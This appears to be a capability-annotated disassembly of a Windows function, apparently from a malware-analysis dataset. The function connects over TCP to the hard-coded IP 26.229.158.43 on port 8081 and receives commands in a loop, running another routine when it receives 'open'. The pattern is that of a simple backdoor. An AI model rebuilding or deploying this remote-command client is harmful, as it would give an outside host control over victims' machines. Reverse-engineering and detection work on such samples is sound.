Function at 0x140001610
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x500]
sub rsp, 0x600
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400018c6
mov edx, 1
mov ebx, 2
mov r8d, 6
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x1400018c0
mov word [rsp + 0x40], bx
mov ecx, 0x1f91
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x42], ax
lea rdx, str.26.229.158.43
cmp qword [0x14046d2b0], 0xf
cmova rdx, qword [str.26.229.158.43]
lea r8, [rsp + 0x44]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jle 0x1400018b7
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1400018b7
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0xf0]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400018b7
xor r12d, r12d
movabs r15, 0x7fffffffffffffff
movabs r13, 0x8000000000000000
mov edx, socket
mov ecx, eax
cmp rcx, 0x400
jae 0x140001903
mov byte [rbp + rcx + 0xf0], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0xf0]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001757
cmp rbx, r15
ja 0x1400018fd
cmp rbx, 0xf
ja 0x1400017aa
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], socket
mov r8, rbx
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x20], 0
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x20]
jmp 0x140001837
mov rdi, rbx
or rdi, 0xf
cmp rdi, r15
jbe 0x1400017bf
mov rdi, r15
lea rax, [r13 + 0x27]
jmp 0x1400017eb
cmp rdi, 0x16
cmovb rdi, rdx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1400017d5
mov rsi, r12
jmp 0x140001812
cmp rcx, 0x1000
jb 0x14000180a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001909
mov rcx, rax
call fcn.140001c50
test rax, rax
je 0x1400018f6
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001812
call fcn.140001c50
mov rsi, rax
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
mov r8, rbx
lea rdx, [rbp + 0xf0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
lea rax, [rsp + 0x20]
cmp rdi, 0xf
cmova rax, rsi
cmp rbx, 4
jne 0x140001863
cmp dword [rax], 0x6e65706f
jne 0x140001863
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400011d0
nop
cmp rdi, 0xf
jbe 0x140001896
lea rdx, [rdi + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000188e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400018f6
mov rcx, rsi
call fcn.140001ed4
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0xf0]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x14000171b
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.140001990
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400011b0
int3
call fcn.140001ab8
int3
call fcn.140001110
int3